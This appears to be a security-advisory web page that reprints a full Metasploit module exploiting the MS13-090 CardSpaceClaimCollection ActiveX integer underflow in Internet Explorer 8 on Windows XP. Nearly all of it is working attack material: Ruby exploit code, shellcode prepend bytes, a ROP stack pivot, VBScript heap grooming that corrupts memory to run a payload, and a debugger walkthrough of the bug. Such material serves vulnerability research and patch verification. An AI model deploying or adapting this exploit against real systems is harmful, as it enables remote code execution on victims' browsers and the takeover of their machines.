MS13-090 CardSpaceClaimCollection ActiveX Integer Underflow

2013.11.26
Credit: Juan vazquez
Risk: High
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::BrowserExploitServer def initialize(info={}) super(update_info(info, 'Name' => "MS13-090 CardSpaceClaimCollection ActiveX Integer Underflow", 'Description' => %q{ This module exploits a vulnerability on the CardSpaceClaimCollection class from the icardie.dll ActiveX control. The vulnerability exists while the handling of the CardSpaceClaimCollection object. CardSpaceClaimCollections stores a collection of elements on a SafeArray and keeps a size field, counting the number of elements on the collection. By calling the remove() method on an empty CardSpaceClaimCollection it is possible to underflow the length field, storing a negative integer. Later, a call to the add() method will use the corrupted length field to compute the address where write into the SafeArray data, allowing to corrupt memory with a pointer to controlled contents. This module achieves code execution by using VBScript as discovered in the wild on November 2013 to (1) create an array of html OBJECT elements, (2) create holes, (3) create a CardSpaceClaimCollection whose SafeArray data will reuse one of the holes, (4) corrupt one of the legit OBJECT elements with the described integer overflow and (5) achieve code execution by forcing the use of the corrupted OBJECT. }, 'License' => MSF_LICENSE, 'Author' => [ 'Unknown', # Vulnerability Discovery and exploit in the wild 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2013-3918'], [ 'OSVDB', '99555' ], [ 'BID', '63631' ], [ 'MSB', 'MS13-090' ], [ 'URL', 'http://blogs.technet.com/b/msrc/archive/2013/11/11/activex-control-issue-being-addressed-in-update-tuesday.aspx' ] ], 'Payload' => { 'Space' => 4096, 'DisableNops' => true, 'BadChars' => "\x00", # Patch the stack to execute the decoder... 'PrependEncoder' => "\x81\xc4\x0c\xfe\xff\xff", # add esp, -500 # Fix the stack again, this time better :), before the payload # is executed. 'Prepend' => "\x64\xa1\x18\x00\x00\x00" + # mov eax, fs:[0x18] "\x83\xC0\x08" + # add eax, byte 8 "\x8b\x20" + # mov esp, [eax] "\x81\xC4\x30\xF8\xFF\xFF", # add esp, -2000 }, 'Platform' => 'win', 'BrowserRequirements' => { :source => /script|headers/i, :clsid => "{19916E01-B44E-4E31-94A4-4696DF46157B}", :method => "requiredClaims", :os_name => Msf::OperatingSystems::WINDOWS }, 'Targets' => [ [ 'Windows XP with IE 8', { 'os_flavor' => Msf::OperatingSystems::WindowsVersions::XP, 'ua_name' => Msf::HttpClients::IE, 'ua_ver' => '8.0', 'arch' => ARCH_X86 } ] ], 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f', 'Retries' => false }, 'Privileged' => false, 'DisclosureDate' => "Nov 08 2013", 'DefaultTarget' => 0)) end def exploit_template(cli, target_info) stack_pivot = [ 0x77c20433, # pop ebp, ret # eax points here 0x77c15ed5 # xchg eax, esp # eip ].pack("V*") symbols = { "CardSpaceSigninHelper" => rand_text_alpha(5 + rand(5)), "get_code" => rand_text_alpha(5 + rand(5)), "code" => rand_text_alpha(5 + rand(5)), "massage_array" => rand_text_alpha(5 + rand(5)), "required_claims" => rand_text_alpha(5 + rand(5)), "massage_array" => rand_text_alpha(5 + rand(5)), "massage_array_length" => rand_text_alpha(5 + rand(5)), "zero" => rand_text_alpha(5 + rand(5)), "underflow" => rand_text_alpha(5 + rand(5)), "my_code" => rand_text_alpha(5 + rand(5)) } rop_payload = generate_rop_payload('msvcrt', get_payload(cli, target_info), {'target'=>'xp', 'pivot' => stack_pivot}) js_payload = Rex::Text.to_unescape(rop_payload) html_template = %Q| <html> <head> <META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE"> <META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE"> </head> <body> <object classid='clsid:19916E01-B44E-4E31-94A4-4696DF46157B' id='<%=symbols["CardSpaceSigninHelper"]%>'></object> <script language='JavaScript'> function <%=symbols["get_code"]%>(){ var <%=symbols["code"]%> = unescape("<%=js_payload%>"); return <%=symbols["code"]%>; } </script> <script language='vbscript'> On Error Resume Next Dim <%=symbols["massage_array_length"]%>,<%=symbols["underflow"]%>,<%=symbols["zero"]%> Dim <%=symbols["massage_array"]%>(5493) <%=symbols["massage_array_length"]%> = 5493 <%=symbols["underflow"]%> = -7 <%=symbols["zero"]%> = 0 Set <%=symbols["required_claims"]%> = <%=symbols["CardSpaceSigninHelper"]%>.requiredClaims For i = <%=symbols["zero"]%> to <%=symbols["massage_array_length"]%> Set <%=symbols["massage_array"]%>(i) = document.createElement("object") Next For i = 4093 to <%=symbols["massage_array_length"]%> Step 2 <%=symbols["massage_array"]%>(i) = Null Next For i = <%=symbols["zero"]%> to <%=symbols["underflow"]%> Step -1 <%=symbols["required_claims"]%>.remove(CLng(i)) Next Dim <%=symbols["my_code"]%> <%=symbols["my_code"]%> = <%=symbols["get_code"]%>() <%=symbols["required_claims"]%>.add(<%=symbols["my_code"]%>) For i = <%=symbols["zero"]%> = 0 to <%=symbols["massage_array_length"]%> if <%=symbols["massage_array"]%>(i) <> Null Then <%=symbols["massage_array"]%>(i).focus End If Next For i = <%=symbols["zero"]%> = 0 to <%=symbols["massage_array_length"]%> <%=symbols["massage_array"]%>(i) = Null Next </script></body></html> | return html_template, binding() end def on_request_exploit(cli, request, target_info) print_status("Sending HTML...") send_exploit_html(cli, exploit_template(cli, target_info)) end end =begin The CCardSpaceClaimCollection is abused. It is a 0x10 size object whose memory is allocated at: .text:0040A6E8 and dword ptr [edi], 0 .text:0040A6EB push ebx .text:0040A6EC push esi .text:0040A6ED push 10h ; unsigned int .text:0040A6EF mov ebx, 8007000Eh .text:0040A6F4 call ??2@YAPAXI@Z ; operator new(uint) The interesting fields: 0x0 : vftable 0x4 : unknown 0x8 : number of elements on the collection (size) 0xc : pointer to the CCardSpaceClaimCollection elements stored on a SafeArray (http://msdn.microsoft.com/en-us/library/windows/desktop/ms221482(v=vs.85).aspx) Both three fields are initialized to 0 / NULL when creating an instance of the object: .text:00409980 ; public: __thiscall CCardSpaceClaimCollection::CCardSpaceClaimCollection(void) .text:00409980 xor ecx, ecx .text:00409982 mov [eax+4], ecx .text:00409985 mov [eax+8], ecx .text:00409988 mov [eax+0Ch], ecx .text:0040998B retn (1) The first problem happens on CCardSpaceClaimCollection::remove, since it's possible to remove an element from a 0 length collection, underflowing the length field: .text:00409D46 loc_409D46: ; CODE XREF: CCardSpaceClaimCollection::remove(tagVARIANT *)+85j .text:00409D46 dec dword ptr [esi+8] ; esi pointing to the CCardSpaceClaimCollection Debugging the underflow: 0:017> bu icardie!CCardSpaceClaimCollection::remove+0xa0 0:017> g ModLoad: 033b0000 033c2000 C:\WINDOWS\system32\icardie.dll ModLoad: 63380000 63434000 C:\WINDOWS\system32\jscript.dll ModLoad: 034e0000 0354a000 C:\WINDOWS\system32\vbscript.dll Breakpoint 0 hit eax=03672280 ebx=0022012c ecx=00000000 edx=00000000 esi=0035da40 edi=00000000 eip=033b9d46 esp=0201f3e4 ebp=0201f3f8 iopl=0 nv up ei pl nz ac pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216 icardie!CCardSpaceClaimCollection::remove+0xa0: 033b9d46 ff4e08 dec dword ptr [esi+8] ds:0023:0035da48=00000000 0:008> g Breakpoint 0 hit eax=0367227c ebx=0022012c ecx=00000000 edx=00000000 esi=0035da40 edi=ffffffff eip=033b9d46 esp=0201f3e4 ebp=0201f3f8 iopl=0 nv up ei pl nz ac pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216 icardie!CCardSpaceClaimCollection::remove+0xa0: 033b9d46 ff4e08 dec dword ptr [esi+8] ds:0023:0035da48=ffffffff 0:008> g Breakpoint 0 hit eax=03672278 ebx=0022012c ecx=00000000 edx=00000000 esi=0035da40 edi=fffffffe eip=033b9d46 esp=0201f3e4 ebp=0201f3f8 iopl=0 nv up ei pl nz ac pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216 icardie!CCardSpaceClaimCollection::remove+0xa0: 033b9d46 ff4e08 dec dword ptr [esi+8] ds:0023:0035da48=feffffff 0:008> g Breakpoint 0 hit eax=03672274 ebx=0022012c ecx=00000000 edx=00000000 esi=0035da40 edi=fffffffd eip=033b9d46 esp=0201f3e4 ebp=0201f3f8 iopl=0 nv up ei pl nz ac pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216 icardie!CCardSpaceClaimCollection::remove+0xa0: 033b9d46 ff4e08 dec dword ptr [esi+8] ds:0023:0035da48=fdffffff 0:008> g Breakpoint 0 hit eax=03672270 ebx=0022012c ecx=00000000 edx=00000000 esi=0035da40 edi=fffffffc eip=033b9d46 esp=0201f3e4 ebp=0201f3f8 iopl=0 nv up ei pl nz ac pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216 icardie!CCardSpaceClaimCollection::remove+0xa0: 033b9d46 ff4e08 dec dword ptr [esi+8] ds:0023:0035da48=fcffffff 0:008> g Breakpoint 0 hit eax=0367226c ebx=0022012c ecx=00000000 edx=00000000 esi=0035da40 edi=fffffffb eip=033b9d46 esp=0201f3e4 ebp=0201f3f8 iopl=0 nv up ei pl nz ac pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216 icardie!CCardSpaceClaimCollection::remove+0xa0: 033b9d46 ff4e08 dec dword ptr [esi+8] ds:0023:0035da48=fbffffff 0:008> g Breakpoint 0 hit eax=03672268 ebx=0022012c ecx=00000000 edx=00000000 esi=0035da40 edi=fffffffa eip=033b9d46 esp=0201f3e4 ebp=0201f3f8 iopl=0 nv up ei pl nz ac pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216 icardie!CCardSpaceClaimCollection::remove+0xa0: 033b9d46 ff4e08 dec dword ptr [esi+8] ds:0023:0035da48=faffffff 0:008> g Breakpoint 0 hit eax=03672264 ebx=0022012c ecx=00000000 edx=00000000 esi=0035da40 edi=fffffff9 eip=033b9d46 esp=0201f3e4 ebp=0201f3f8 iopl=0 nv up ei pl nz ac pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216 icardie!CCardSpaceClaimCollection::remove+0xa0: 033b9d46 ff4e08 dec dword ptr [esi+8] ds:0023:0035da48=f9ffffff 0:008> g (2) The second problem happens on CCardSpaceClaimCollection::add First of all the SafeArray Container is get: .text:00409C0A mov esi, [ebp+arg_0] .text:00409C0D call ?GetInnerArray@CCardSpaceClaimCollection@@AAEPAUtagSAFEARRAY@@XZ ; C and its capacity checked, so if needed it's going to be resized .text:00409C20 loc_409C20: ; CODE XREF: CCardSpaceClaimCollection::add(tagVARIANT *)+48j .text:00409C20 mov ebx, [esi+8] ; The number of elements .text:00409C23 inc ebx ; The number of elements incremented .text:00409C24 call ?GrowInnerArrayIfRequired@CCardSpaceClaimCollection@@AAEJJ@Z ; In order to check if the SafeArray needs to be resized GrowInnerArrayIfRequired checks the length of the CCardSpaceClaimCollection(underflowed) against the capacity of the SafeArray, since the comparision is signed, nothing is resized: 0:008> g Breakpoint 4 hit eax=00000000 ebx=fffffff9 ecx=00000009 edx=0000000a esi=0035e6b8 edi=00242b44 eip=036a9e41 esp=0201f3d0 ebp=0201f3dc iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 icardie!CCardSpaceClaimCollection::GrowInnerArrayIfRequired+0x2e: 036a9e41 3bda cmp ebx,edx 0:008> r ebx, edx ebx=fffffff9 edx=0000000a Since the comparision is signed, nothing is resized: 0:008> t eax=00000000 ebx=fffffff9 ecx=00000009 edx=0000000a esi=0035e6b8 edi=00242b44 eip=036a9e43 esp=0201f3d0 ebp=0201f3dc iopl=0 nv up ei ng nz ac po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000292 icardie!CCardSpaceClaimCollection::GrowInnerArrayIfRequired+0x30: 036a9e43 7e1f jle icardie!CCardSpaceClaimCollection::GrowInnerArrayIfRequired+0x51 (036a9e64) [br=1] In order to proceed to modify the SafeArray, "add" saves a pointer to the data (ppvData) into a local variable: .text:00409C2F lea eax, [ebp+ppvData] .text:00409C32 push eax ; ppvData .text:00409C33 push [ebp+psa] ; psa .text:00409C36 call ds:__imp__SafeArrayAccessData@8 ; SafeArrayAccessData(x,x) Then an String witht the user controlled contents is created, and a pointer to the contents is stored into the ppvData. Unfortunately, the underflowed length address is used to calculate where to store the thing: .text:00409C51 push dword ptr [edi+8] ; psz .text:00409C54 call ds:__imp__SysAllocString@4 ; SysAllocString(x) .text:00409C5A mov ecx, [esi+8] .text:00409C5D mov edx, [ebp+ppvData] .text:00409C60 mov [edx+ecx*4], eax ; edx pointer to ppvdata, ecx is the corrupted CCardSpaceClaimCollection length Finally the CCardSpaceClaimCollection size is incremented: .text:00409C63 inc dword ptr [esi+8] When debugging : 0:008> t eax=001f5884 ebx=00000000 ecx=fffffff8 edx=00000028 esi=0035e6b8 edi=00242b44 eip=036a9c5d esp=0201f3e4 ebp=0201f3f8 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 icardie!CCardSpaceClaimCollection::add+0x8e: 036a9c5d 8b55f8 mov edx,dword ptr [ebp-8] ss:0023:0201f3f0=10798a03 0:008> t Here the underflow happens edx+ecx*4 points to 038a78f0, which is below 038a7910, where ppvData lives: eax=001f5884 ebx=00000000 ecx=fffffff8 edx=038a7910 esi=0035e6b8 edi=00242b44 eip=036a9c60 esp=0201f3e4 ebp=0201f3f8 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 icardie!CCardSpaceClaimCollection::add+0x91: 036a9c60 89048a mov dword ptr [edx+ecx*4],eax ds:0023:038a78f0=00000000 0:008> t eax=001f5884 ebx=00000000 ecx=fffffff8 edx=038a7910 esi=0035e6b8 edi=00242b44 eip=036a9c63 esp=0201f3e4 ebp=0201f3f8 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 icardie!CCardSpaceClaimCollection::add+0x94: 036a9c63 ff4608 inc dword ptr [esi+8] ds:0023:0035e6c0=f8ffffff Later the overwritten object is used, its memory dereferenced and control of the execution flow is possible: 0:008> g (b4c.b70): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=001f5884 ebx=00000000 ecx=038a78e0 edx=0201f5e4 esi=00000002 edi=036d150c eip=cccccccc esp=0201f5b4 ebp=0201f5c0 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 cccccccc ?? ??? 0:008> dd ecx 038a78e0 63ab1b18 00000002 6363fbe4 03894d38 038a78f0 001f5884 00000000 00000000 00000000 038a7900 00000000 00000000 00000000 00000000 038a7910 00000000 00000000 00000000 00000000 038a7920 00000000 00000000 00000000 00000000 038a7930 00000000 00000000 e8319dff ff080100 038a7940 63ab1b18 00000001 6363fbe4 03894f08 038a7950 63767260 00000000 00000000 00020000 0:008> db 001f5884 001f5884 bb bb bb bb cc cc cc cc-cc cc cc cc cc cc cc cc ................ 001f5894 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................ 001f58a4 cc cc cc cc cc cc cc cc-00 00 00 00 e6 7e a1 ea .............~.. 001f58b4 00 01 08 ff 70 18 5c 75-2c 18 5c 75 02 00 00 00 ....p.\u,.\u.... 001f58c4 e8 ac 9c 02 00 00 00 80-f3 1b 5d 75 b8 58 1f 00 ..........]u.X.. 001f58d4 48 00 9c 02 84 14 5c 75-e8 ac 9c 02 1b 00 00 00 H.....\u........ 001f58e4 e8 52 19 00 ed 7e a1 ea-00 01 08 ff 08 00 00 00 .R...~.......... 001f58f4 90 01 00 00 f0 00 00 00-00 00 00 00 01 00 00 00 ................ =end

References:

http://blogs.technet.com/b/msrc/archive/2013/11/11/activex-control-issue-being-addressed-in-update-tuesday.aspx


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top